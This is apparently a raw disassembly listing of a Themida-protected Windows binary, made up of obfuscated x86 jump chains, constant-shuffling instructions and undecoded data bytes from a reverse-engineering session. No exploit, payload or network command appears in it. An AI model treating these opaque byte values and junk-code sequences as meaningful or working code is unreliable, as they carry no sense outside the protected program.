		dd 9CEC80F4h, 5A4BC480h, 0FE58E288h, 526668C2h,	4890000h
		dd 0F9B55124h, 10D4E9h,	242C8B00h, 4C481h, 0D9310000h
		dd 48BE565Bh, 92BD51Ch,	0AE3E9F1h
		db 1, 0
; ---------------------------------------------------------------------------

loc_543FCE:				; CODE XREF: Themida_:0055630Fj
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		inc	dword ptr [esp]
		pushf
		jmp	loc_54C317
; ---------------------------------------------------------------------------
		dw 0C301h
		dd 7796EB81h, 3B6877B6h, 8900000Eh, 0FF682414h,	5A320A5Bh
		dd 8904EC83h, 0BE56241Ch, 5F8711B3h, 0DA91E9h
		db 0
; ---------------------------------------------------------------------------

loc_544005:				; CODE XREF: Themida_:005538A6j
		not	esi
		sub	esi, 9008822Ah
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	esi
		push	esp
		pop	esi
		push	edx
		mov	edx, 68D2BC8h
		xor	edx, 501C619Dh
		neg	edx
		neg	edx
		xor	edx, 56914A51h
		add	esi, edx
		pop	edx
		push	ebp
		jmp	loc_555CA5
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 46568h, 2960E900h, 45BE0000h, 817F3901h, 390147F6h
		dd 5BE9577Fh, 5C0000EEh, 8904EC83h, 64B82404h, 48463C3Ah
		dd 0C3C5A105h, 58C601B9h, 5A8E68h, 24048900h, 6294E9h
		db 0
; ---------------------------------------------------------------------------

loc_54407D:				; CODE XREF: Themida_:00543309j
		sub	al, dl
		sub	al, 0BFh
		jmp	loc_54B5DB
; ---------------------------------------------------------------------------

loc_544086:				; CODE XREF: Themida_:00550217j
		push	7B61h
		mov	[esp], eax
		mov	eax, 72C5EC4h
		add	eax, 0FFFFFFFFh
		jmp	loc_54E8CC
; ---------------------------------------------------------------------------

loc_54409D:				; CODE XREF: Themida_:0054D51Ej
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	42CFh
		mov	[esp], esi
		jmp	loc_5458AF
; ---------------------------------------------------------------------------
		dw 814Fh
		dd 7F603DCFh, 4DF78126h, 8182E2E4h, 6D4872C2h, 81FA2971h
		dd 6D4872EAh, 7CE95F71h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5440D3:				; CODE XREF: Themida_:0054EAC2j
		add	ecx, edx
		jmp	loc_54205E
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 0DD51195Bh, 0E95DE829h, 6964h, 0E904EC83h, 12A4Dh, 0A0685651h
		dd 5E2DFE73h, 0F708E6C1h, 0A1BA52DEh, 4A676336h, 3809C281h
		dd 0E94A0C16h, 123ACh
; ---------------------------------------------------------------------------

loc_544110:				; CODE XREF: Themida_:00551E49j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_55008D
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 1226Ch, 4EC81h, 14890000h, 2474FF24h, 2434FF04h, 8324148Bh
		dd 0B3E904C4h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_544147:				; CODE XREF: Themida_:0054C7DCj
		push	eax
		mov	eax, 400440Eh
		xor	eax, 78535EA6h
		jmp	loc_548527
; ---------------------------------------------------------------------------

loc_544157:				; CODE XREF: Themida_:0054A78Cj
		mov	ebx, 0C3E02D7h
		jmp	loc_547F5B
; ---------------------------------------------------------------------------
byte_544161	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00541884o
aSwb		db '$éW¡',0
		align 2

loc_54416A:				; CODE XREF: Themida_:00541D92j
		not	edi
		sub	edi, 0A202FB1h
		jmp	loc_54A771
; ---------------------------------------------------------------------------

loc_544177:				; CODE XREF: Themida_:0054373Bj
		add	ecx, ebx
		pop	ebx
		add	ecx, 2AD12DC4h
		add	ecx, ebp
		sub	ecx, 2AD12DC4h
		sub	ecx, 74D0A96h
		pop	ebp
		jmp	loc_551B7C
; ---------------------------------------------------------------------------
aPLkxS9f	db 'P¸LkX,é9F',0
		db 0
byte_54419F	db 0FFh			; DATA XREF: Themida_:00541900o
		dd 78E92C77h, 0B8FFFFD9h, 41E8394Eh, 0FC24E9h
		db 0
; ---------------------------------------------------------------------------

loc_5441B1:				; CODE XREF: Themida_:00548EBAj
		pop	esp
		push	esi
		mov	esi, esp
		push	7624h
		jmp	loc_548E6B
; ---------------------------------------------------------------------------
aLRhx		db '‹<$Rhx',0Dh,0
		align 4
aSli		db 'éli',0
		db 0
; ---------------------------------------------------------------------------

loc_5441CD:				; CODE XREF: Themida_:00543086j
		mov	ecx, 0
		add	ecx, ebx
		jmp	loc_54738B
; ---------------------------------------------------------------------------
		db 51h,	68h, 4
		dd 0E9000000h, 674Eh, 4BFh, 0EE95500h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------

loc_5441EF:				; CODE XREF: Themida_:00556800j
		pop	eax
		mov	esi, [esp]
		jmp	loc_552C16
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 895204C4h, 4C281E2h, 81000000h, 4EAh, 24148700h
		dd 603CE9h, 0E9515700h,	0DCF9h,	0D164C781h, 0F8294A95h
		dd 2404875Fh, 242C895Ch, 0C581E589h, 4,	4ED81h,	24E90000h
		dd 81000112h, 4ECh, 7B5E900h, 2EBF0000h, 291DA52Dh, 148B5FFDh
		dd 321E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54425A:				; CODE XREF: Themida_:00553E3Aj
		add	edx, 0F6956A40h
		push	edx
		sub	dword ptr [esp], 3A1A4981h
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5520AB
; ---------------------------------------------------------------------------

loc_544280:				; CODE XREF: Themida_:005425E2j
		add	esp, 4
		pop	ebx
		push	3D56h
		mov	[esp], ebp
		jmp	loc_55124A
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 4
		dd 87000000h, 685C2414h, 7CB7h,	83242489h, 8F042404h, 4812404h
		dd 424h, 4A83E900h, 0C6830000h,	4EC8102h, 0E9000000h, 0C172h
; ---------------------------------------------------------------------------

loc_5442C4:				; CODE XREF: Themida_:00551CD4j
		and	eax, ebp
		jmp	loc_54BACB
; ---------------------------------------------------------------------------
		db 52h
		dd 0C281E289h, 4, 4C281h, 93E90000h, 81000097h,	0EB3F75C6h
		dd 412DE974h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5442EA:				; CODE XREF: Themida_:0054FD07j
		add	esp, 4
		xor	esi, [esp]
		jmp	loc_54D154
; ---------------------------------------------------------------------------
		dd 0C181C101h, 4D8666DFh, 979FE9h, 59CD0100h, 5C242C87h
		dd 10608E9h
		db 0
; ---------------------------------------------------------------------------

loc_544311:				; CODE XREF: Themida_:0054ECC7j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	435Dh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edi
		push	5CD4ADEh
		pop	edi
		push	esi
		mov	esi, 148117BBh
		add	edi, 2C1A31E7h
		add	edi, 2A0328CEh
		add	edi, esi
		push	eax
		mov	eax, 2D267FD5h
		sub	eax, 7BD24C4Ah
		sub	eax, 44391F22h
		jmp	loc_5518E4
; ---------------------------------------------------------------------------

loc_544358:				; CODE XREF: Themida_:0054E0E2j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ebx, 2
		push	2BA3h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_552665
; ---------------------------------------------------------------------------

loc_544376:				; CODE XREF: Themida_:00552D3Aj
		sub	ecx, ebp
		jmp	loc_550731
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 2FE95A04h
		db 0D5h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_544387:				; CODE XREF: Themida_:005528A1j
		dec	esi
		shl	esi, 6
		jmp	loc_545F96
; ---------------------------------------------------------------------------
		dd 0F528CDB6h, 5E67E9h
		db 0
; ---------------------------------------------------------------------------

loc_544399:				; CODE XREF: Themida_:00546F01j
		push	79BFh
		mov	[esp], esi
		jmp	loc_54B4D3
; ---------------------------------------------------------------------------

loc_5443A6:				; CODE XREF: Themida_:00545A41j
		inc	edx
		jmp	loc_54ABAE
; ---------------------------------------------------------------------------
		dd 68FFED83h, 6BA6h, 50241489h,	412E73B8h, 574FE958h, 81590000h
		dd 7C1F18E3h, 4BDBF74Eh, 5CF7F381h, 0DD315D7Ah,	1188E9h
		db 0
; ---------------------------------------------------------------------------

loc_5443D9:				; CODE XREF: Themida_:005507AFj
		not	cl
		mov	ah, cl
		pop	ecx
		shr	ah, 5
		add	ah, 0E4h
		jmp	loc_543F33
; ---------------------------------------------------------------------------

loc_5443E9:				; CODE XREF: Themida_:00542C05j
		add	esp, 4
		push	edx
		mov	edx, 9C1815Ch
		xor	eax, edx
		pop	edx
		jmp	loc_544E27
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aSxm		db '^éX¬',0
		align 2
		dw 7B2Dh
		dd 0FF240D1Ch, 0C8B2434h, 0E1895124h, 4C181h, 0C1830000h
		dd 240C8704h, 4C4815Ch,	68000000h, 6585h, 68241C89h, 5D5Ch
		dd 0BA241489h, 11B1121Eh, 1D51BE56h, 0E9521A2Ah, 0FFFFDC48h
; ---------------------------------------------------------------------------

loc_544448:				; CODE XREF: Themida_:0055523Cj
		add	ebp, eax
		add	ebp, 28317600h

loc_544450:				; DATA XREF: ___:off_43668Co
		pop	eax
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	30D2h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		mov	cl, al
		mov	bh, cl
		pop	ecx
		mov	ch, bh
		pop	ebx
		mov	bh, ch
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_54C6DE
; ---------------------------------------------------------------------------

loc_54448B:				; CODE XREF: Themida_:00554282j
		mov	[esp], eax
		push	edx
		mov	edx, 24BA6081h
		or	edx, 1B8C4820h
		add	edx, 407B5E69h
		push	eax
		mov	eax, 0FFFFFFFFh
		add	edx, eax
		pop	eax
		xor	edx, 0C532A36h
		jmp	loc_54FABA
; ---------------------------------------------------------------------------
		dd 4C48159h, 0E9000000h, 64A2h
dword_5444C0	dd 582434FFh, 0FFF439E9h, 0E9525CFFh, 123D5h, 4EC8353h
					; DATA XREF: Themida_:005418C8o
		dd 8522E9h, 0E9E90100h,	4EF9h, 48BC731h, 0F7F2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5444EA:				; CODE XREF: Themida_:00554F33j
		mov	bl, 9Dh
		sub	bl, 8
		or	bl, 5Eh
		or	bl, 8Dh
		sub	bl, 15h
		jmp	loc_546F1C
; ---------------------------------------------------------------------------
		db 89h,	0FDh, 89h
		dd 685F5DEAh, 4C01h, 0BD242C89h, 45134641h, 0E95DEB29h
		dd 6341h
; ---------------------------------------------------------------------------

loc_544518:				; CODE XREF: Themida_:00554F72j
		or	edx, 591145Dh
		not	edx
		jmp	loc_54FBCA
; ---------------------------------------------------------------------------

loc_544525:				; CODE XREF: Themida_:0054BADCj
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		jmp	loc_54C399
; ---------------------------------------------------------------------------

loc_544537:				; CODE XREF: Themida_:0054AD90j
		pop	ecx
		inc	edx
		dec	edx
		add	edx, 62CA2814h
		xor	ebp, edx
		jmp	loc_5569FC
; ---------------------------------------------------------------------------
		db 2Dh
		dd 2B820628h, 791A4105h, 0CE80519h, 0D8012F29h,	290CE82Dh
		dd 4EC812Fh, 0E9000000h, 1D7Ah
dword_544568	dd 24048B66h, 81E28952h, 4C2h, 0ECE95100h, 680000F4h, 0AFEh
					; DATA XREF: Themida_:00541A38o
		dd 0C50CE9h, 2C58300h, 5C242C87h, 68E1F766h, 6713h, 0E9241489h
		dd 0EF3Ch, 1D0C581h, 0EC8303EBh, 242C8904h, 5D2414F7h
		dd 0FFFFC581h, 0BF57FFFFh, 57DA4663h, 81AC781h,	0E78142B0h
		dd 2D67323Eh, 0F6E8E9h,	23E99700h, 890000A9h, 0EEBA2414h
		dd 0E91EFE20h, 0AA54h, 789EBB53h, 814B50A9h, 568767C3h
		dd 0E9DA01AFh, 7563h, 45C1CE81h, 0EED1586Eh, 37FCF681h
		dd 0F5013FF7h, 242C335Eh, 33242C31h, 248B242Ch,	24040924h
		dd 0D509E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_544616:				; CODE XREF: Themida_:00543944j
		xor	eax, ecx
		jmp	loc_54F56B
; ---------------------------------------------------------------------------

loc_54461D:				; CODE XREF: Themida_:00544798j
		and	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		shr	ecx, 7
		jmp	loc_54E2F3
; ---------------------------------------------------------------------------
a34SO		db '34$éÏo',0
		db 0
; ---------------------------------------------------------------------------

loc_544635:				; CODE XREF: Themida_:005506B5j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_551D16
; ---------------------------------------------------------------------------
aRsS		db '´réßé',0
		dd 2434FF00h, 4C4835Fh,	4A96E9h
		db 0
; ---------------------------------------------------------------------------

loc_54465D:				; CODE XREF: Themida_:00550D4Dj
		shr	ebp, 4
		dec	ebp
		jmp	loc_549352
; ---------------------------------------------------------------------------

loc_544666:				; CODE XREF: Themida_:00547F3Bj
		inc	eax
		xor	eax, 107A7163h
		add	ebp, eax
		jmp	loc_548239
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89512414h, 4C181E1h,	0E9000000h, 0F5AEh, 286BB551h
		dd 0D80059E8h, 0E313E9h, 278F0500h, 2E97754h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54469B:				; CODE XREF: Themida_:00547AADj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 683A6544h
		not	eax
		and	eax, 8116765h
		jmp	loc_54BC17
; ---------------------------------------------------------------------------
		dw 0E801h
		dd 0FFDF6FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5446B9:				; CODE XREF: Themida_:005502F8j
		xor	ebp, 0AC07DBEh
		sub	ebp, 4F510466h
		shl	ebp, 7
		sub	ebp, 327E1317h
		shr	ebp, 4
		add	ebp, 72CFA451h
		add	esi, ebp
		pop	ebp
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_543EDD
; ---------------------------------------------------------------------------

loc_5446E4:				; CODE XREF: Themida_:00541BA9j
		sub	esp, 4
		mov	[esp], edx
		push	esi
		push	ecx
		jmp	loc_549025
; ---------------------------------------------------------------------------
		dd 0FF5AD001h, 0C8B2434h, 4C48324h, 0E9585450h,	0D8ECh
		dd 4C2268h, 24248900h, 4240481h, 0E9000000h, 565Eh, 5D84685Ch
		dd 14890000h, 749FE924h
		db 2 dup(0)
word_54472A	dw 8956h		; DATA XREF: Themida_:00541ACCo
		dd 4C681E6h, 81000000h,	4EEh, 74FF5600h, 34FF0424h, 9AE1E924h
		dd 14890000h, 625E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54474E:				; CODE XREF: Themida_:0054B82Bj
		pop	esp
		mov	[esp], eax
		push	221C0E3Eh
		jmp	loc_54BC07
; ---------------------------------------------------------------------------
		dd 4C481h, 48F0000h, 4895C24h, 0EBB95124h, 0E916AA4Dh
		dd 10E68h, 5F03E581h, 0BF5778A5h, 6B4B26AFh, 815FFD09h
		dd 98019BC5h, 1DB95117h, 4960C108h, 0E6E9D1F7h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_544797:				; CODE XREF: Themida_:00545B6Aj
		pop	ebx
		jmp	loc_54461D
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0BD55E189h, 4, 62CCE9h
		db 0
; ---------------------------------------------------------------------------

loc_5447AD:				; CODE XREF: Themida_:0054E1ADj
		inc	edx
		dec	edx
		add	edx, 4A9E68CAh
		dec	edx
		jmp	loc_55390A
; ---------------------------------------------------------------------------
		db 81h
		dd 0B408EFEAh, 0EAC14A28h, 0E9E2D102h, 9719h, 0AEB815Bh
		dd 8B220E01h, 0C481240Ch, 4, 685EB951h,	0CE0107FEh, 81DE0159h
		dd 0FE685EEEh, 875F5B07h, 665C2434h, 2404A30Fh,	0E382E99Ch
		dd 0C8B0000h, 7ACDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_544806:				; CODE XREF: Themida_:0054725Dj
		pop	ebx
		dec	ebx
		jmp	loc_5478FF
; ---------------------------------------------------------------------------

loc_54480D:				; CODE XREF: Themida_:005508BBj
		mov	edi, 465D5603h
		or	edi, 79240491h
		or	edi, 311317F8h
		shr	edi, 1
		add	edi, 0D60EA603h
		jmp	loc_54DB91
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4C281h, 0C2830000h, 24148704h, 6CE8E95Ch, 0E2890000h
		dd 1884E9h, 93F12D00h, 0C681A479h, 2ECC3F40h, 0EE81C601h
		dd 2ECC3F40h, 73950558h, 8E2D458Ch, 1371A10h, 108E05F0h
		dd 0BF57371Ah, 458C7395h, 5DE9F829h, 8B00010Ch,	6857240Ch
		dd 76C8h, 81242489h, 42404h, 3C8B0000h,	0D612E924h, 0E581FFFFh
		dd 60984070h, 8804E9h, 24248B00h, 0E9241489h, 0E61Dh, 24E9D001h
		dd 81000048h, 4C4h, 1EE95700h, 890000D4h, 5A542414h, 437968h
		dd 123E900h, 0EE810001h, 1D7A17EEh, 4F43E9h
		db 0
; ---------------------------------------------------------------------------

loc_5448D5:				; CODE XREF: Themida_:0054A0BFj
		add	edx, 0F960685h
		sub	edx, 7C4539A9h
		pop	eax
		jmp	loc_553E91
; ---------------------------------------------------------------------------

loc_5448E7:				; CODE XREF: Themida_:0054A149j
		mov	[esp], edi
		mov	edi, ebx
		jmp	loc_549B3E
; ---------------------------------------------------------------------------

loc_5448F1:				; CODE XREF: Themida_:0055000Fj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_542C5C
; ---------------------------------------------------------------------------
		db 1, 6Ch, 24h
		dd 242C8B04h, 4C481h, 148B0000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_547C4F
; ---------------------------------------------------------------------------

loc_54491D:				; CODE XREF: Themida_:005485E5j
		xchg	ebp, [esp]
		jmp	loc_5537E4
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 1Ch
		dd 810000D2h, 4C3h, 4EC8300h, 0FF241C89h, 5B042474h, 8B24048Fh
		dd 5FE92424h, 68000068h, 5771h,	0B8240489h, 1, 0DFE0E9h
		dd 15A5800h, 0C1E959CDh
		db 0D8h, 2 dup(0FFh)
byte_544963	db 0ACh			; DATA XREF: Themida_:00541AC0o
		dd 8956D830h, 4C681E6h,	68000000h, 1B63h, 0BD242C89h, 4
		dd 0E95DEE29h, 0EF39h, 0E903E6C1h, 114F2h, 0F9044C05h
		dd 7499053Eh, 7D35789Ch, 0E9AD14B9h, 9F66h
; ---------------------------------------------------------------------------

loc_5449A0:				; CODE XREF: Themida_:00546A78j
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	esp
		pop	esi
		push	edx
		jmp	loc_54D5F6
; ---------------------------------------------------------------------------
		db 0B9h, 7Fh, 37h
		dd 0CB0165B6h, 81C30159h, 0B6377FEBh, 0C1815865h, 25C54744h
		dd 0B42E9h, 0F7C18000h,	8046B753h, 36E9BCF7h, 0BDFFFFECh
		dd 3D2D7291h, 60B9F581h, 0BB530416h, 5CF530C0h,	13B9E381h
		dd 4E92DA5h, 83000041h,	0EAE904ECh, 89000099h, 7E9240Ch
		dd 80000111h, 0C5802EE5h, 0FEC5FEAAh, 0CA45E9CDh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_544A16:				; CODE XREF: Themida_:005453FFj
		push	edi
		pop	edx
		pop	edi
		jmp	loc_550204
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 0BEE2E9h
		db 0
byte_544A29	db 66h,	8Bh, 4		; DATA XREF: Themida_:00541A10o
aHc		db '$hç\',0
		align 2
		dw 1489h
		dd 51E28924h, 0FFD971E9h, 24248BFFh, 9C2424D2h,	0C533E9h
		dd 240C8700h, 6824248Bh, 6921h,	0FF243C89h, 5F042474h
		dd 8B24048Fh, 0CC682424h, 8900001Ch, 0AFB22414h, 0A411E9h
		db 0
; ---------------------------------------------------------------------------

loc_544A71:				; CODE XREF: Themida_:005506E4j
		push	179Fh
		mov	[esp], eax
		mov	eax, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 7FD372EFh
		jmp	loc_55405A
; ---------------------------------------------------------------------------

loc_544A8E:				; CODE XREF: Themida_:0054AFEDj
		add	ebp, 4
		jmp	loc_5485E2
; ---------------------------------------------------------------------------

loc_544A99:				; CODE XREF: Themida_:0054A5ABj
		mov	[esp], ecx
		mov	ecx, 15CE13F8h
		add	dword ptr [esp+4], 2660091Ch
		sub	[esp+4], ecx
		sub	dword ptr [esp+4], 2660091Ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	eax
		push	ebx
		jmp	loc_547F05
; ---------------------------------------------------------------------------
aISsi		db '‰,$Séˆ~',0
		align 4
aAba_ldS	db 'Ñíí_LDºé%¹',0
		db 0
; ---------------------------------------------------------------------------

loc_544AD9:				; CODE XREF: Themida_:005505C1j
		and	eax, 54D65258h
		jmp	loc_54EC7A
; ---------------------------------------------------------------------------
		db 43h
		dd 0BE56DBF7h, 53C7D3B9h, 895EF329h, 4C295BD9h,	1590824h
		dd 57042444h, 3909BABFh, 0E5BA527Ah, 16F1101h, 5A0C2454h
		dd 8247C01h, 1E5BE56h, 0CAE96F11h, 10000F4h, 0C7815AD7h
		dd 2, 31243C33h, 3C33243Ch, 24248B24h, 0B2C68h,	240C8900h
		dd 4ECDE953h, 2C870000h, 1CEEE924h, 1C890001h, 4C7FBB24h
		dd 448114E3h, 697A0424h, 5C290E11h, 6C810424h, 697A0424h
		dd 14E90E11h, 2900006Dh, 240C8BCBh, 65FEE9h, 5DEB3100h
		dd 0E5F1E9h, 495EBE00h,	0F789519Ch, 0C574E95Eh,	0D8890000h
		dd 0DBE9505Bh, 21000058h, 51565FFAh, 0DA60E953h, 0C4810000h
		dd 4, 4EC81h, 2C890000h, 1E58BD24h, 28E92D30h
		db 79h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_544BB3:				; CODE XREF: Themida_:0055276Ej
		push	ecx
		jmp	loc_555F90
; ---------------------------------------------------------------------------

loc_544BB9:				; CODE XREF: Themida_:0055378Ej
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, 10BA3238h
		sub	eax, 70BE66D5h
		sub	eax, 6BA33B20h
		sub	eax, 5DD9674Dh
		add	eax, edx
		jmp	loc_54C65B
; ---------------------------------------------------------------------------

loc_544BDD:				; CODE XREF: Themida_:00549C29j
		shl	al, 2
		jmp	loc_547910
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0ECh
		dd 4, 0F960E9h,	17C38100h, 0E952303Fh, 0E060h, 5503E2C1h
		dd 905285BDh, 1F58109h,	310FE8C3h, 0EE815DEAh, 139B4167h
		dd 310C681h, 0D6010EB3h, 310EE81h, 0B9510EB3h, 139B4167h
		dd 5A59CE01h, 0E8DDE9h,	40500h,	4050000h, 0E9000000h, 9729h
		dd 0AC568DBAh, 8BD5891Eh, 0C4832414h, 0BB684504h, 89000005h
		dd 6857241Ch, 649F1F18h, 4E7C15Fh, 2CC9EF81h, 0BD553693h
		dd 3468896h, 895DEF31h,	0D3F75FFBh, 0E498E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_544C7A:				; CODE XREF: Themida_:00551456j
		pop	esp
		mov	[esp], ebp
		mov	ebp, 20766582h
		jmp	loc_54FF97
; ---------------------------------------------------------------------------
		dd 7388EF81h, 1AE9769Ah
		db 0B2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_544C93:				; CODE XREF: Themida_:00546B9Dj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_5529EA
; ---------------------------------------------------------------------------

loc_544CA0:				; CODE XREF: Themida_:005531F0j
		mov	[esp], ebx
		mov	ebx, 2BE45A41h
		xor	ebx, 5BA03A84h
		inc	ebx
		neg	ebx
		jmp	loc_553094
; ---------------------------------------------------------------------------

loc_544CB6:				; CODE XREF: Themida_:00546378j
		mov	edi, 1FDE4F52h
		add	edi, ebp
		jmp	loc_54C158
; ---------------------------------------------------------------------------
		dw 585Ah
		dd 4BD55h, 0E9010000h, 81242C8Bh, 4C4h,	240C3300h, 5045E9h
		dd 4C48300h, 6659EF88h,	18B450h, 0E95866E7h, 27CEh, 8145D5F7h
		dd 6D95DBF5h, 9B4EE91Bh, 4BD0000h, 1000000h, 5D04246Ch
		dd 0E9242C8Bh, 423Bh
; ---------------------------------------------------------------------------

loc_544D10:				; CODE XREF: Themida_:00549FDBj
		sub	ebx, 32691717h
		push	ecx
		push	eax
		push	ebx
		mov	ebx, 26050C8Dh
		mov	eax, ebx
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5484E2
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5A042474h, 5C24048Fh, 234EBF57h, 0F781742Ch,	742C234Ah
		dd 0FEA4E9h
		db 0
; ---------------------------------------------------------------------------

loc_544D51:				; CODE XREF: Themida_:00549DE6j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_556413
; ---------------------------------------------------------------------------
byte_544D65	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054194Co
		dd 0FF2434FFh, 0FFE92434h, 810000B4h, 4ECh, 240C8900h
		dd 115A2E9h, 58C60100h,	5070F681h, 0BF576865h, 59FE0755h
		dd 3E73E9h, 240C8900h, 5066C188h, 0D0F6C888h, 4EC8152h
		dd 89000000h, 0C588240Ch, 8859EE88h, 0FE95AF1h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_544DB7:				; CODE XREF: Themida_:0054BB69j
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	edx
		mov	dword ptr [edi+20h], 11896D56h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 20h
		sub	ecx, 56795359h
		add	ecx, edi
		add	ecx, 56795359h
		push	edx
		mov	edx, 0
		add	edx, ecx
		xor	[edx], ebx
		pop	edx
		pop	ecx
		push	ecx
		jmp	loc_55447A
; ---------------------------------------------------------------------------
		dd 34FFE588h, 2A5E924h,	4D590001h, 0A37AB850h, 0C529A330h
		dd 0CFEB8158h, 0E936FC06h, 101D9h, 83E9FB29h
		db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_544E27:				; CODE XREF: Themida_:005443F8j
		mov	ebp, eax
		jmp	loc_541CC8
; ---------------------------------------------------------------------------
		dw 1489h
aHz7		db '$h‡7',0
		align 2
		dw 1C89h
		dd 53C38824h, 0C381E389h, 4, 8704EB83h,	895C241Ch, 1CE9240Ch
		dd 5E000027h, 4C681h, 0BF570000h, 4, 565FFE29h,	42474FFh
		dd 24048F5Eh, 8924248Bh, 0DCE9243Ch
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_544E77:				; CODE XREF: Themida_:00555417j
		push	7D9D2520h
		pop	edi
		push	ecx
		push	2DC67428h
		pop	ecx
		and	edi, ecx
		pop	ecx
		not	edi
		sub	edi, 0C6EABA21h
		mov	ebp, edi
		pop	edi
		mov	esi, ebp
		pop	ebp
		shl	esi, 7
		xor	esi, 0C890DF04h
		add	ebx, esi
		pop	esi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_547E9F
; ---------------------------------------------------------------------------

loc_544EAF:				; CODE XREF: Themida_:0054DC60j
		add	edx, edi
		pop	edi
		sub	edx, 0E5A3739h
		jmp	loc_549EF9
; ---------------------------------------------------------------------------
aShsp		db 'Shép',0
		dw 5400h
		dd 8324048Fh, 0FF042404h, 0E95B2434h, 70D9h, 0E904C483h
		dd 107Ah, 592434FFh, 4C481h, 48F0000h, 24248B24h, 9C240401h
		dd 0FFCC2AE9h, 5FFA01FFh, 1272BB53h, 0DA010AE1h, 0CDE2815Bh
		dd 814B8003h, 4215EDF2h, 762A2D67h, 0D9E93C39h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_544F17:				; CODE XREF: Themida_:00550075j
		inc	esi
		push	ebp
		jmp	loc_55032F
; ---------------------------------------------------------------------------

loc_544F1E:				; CODE XREF: Themida_:005438D7j
		pop	ebp
		add	edx, 20A232E1h
		add	edx, edi
		sub	edx, 20A232E1h
		sub	esp, 4
		mov	[esp], esi
		push	eax
		push	ebx
		push	2E6F74C7h
		pop	ebx

loc_544F3E:				; DATA XREF: ___:off_4274E0o
		jmp	loc_555F60
; ---------------------------------------------------------------------------

loc_544F43:				; CODE XREF: Themida_:005467B3j
		xor	eax, ebx
		pop	ebx
		shl	eax, 6
		sub	eax, 9D59808Ah
		mov	esi, eax
		jmp	loc_547A9C
; ---------------------------------------------------------------------------

loc_544F55:				; CODE XREF: Themida_:005547C6j
		mov	ebx, 10CC235Fh
		neg	ebx
		push	ecx
		mov	ecx, 2302188Eh
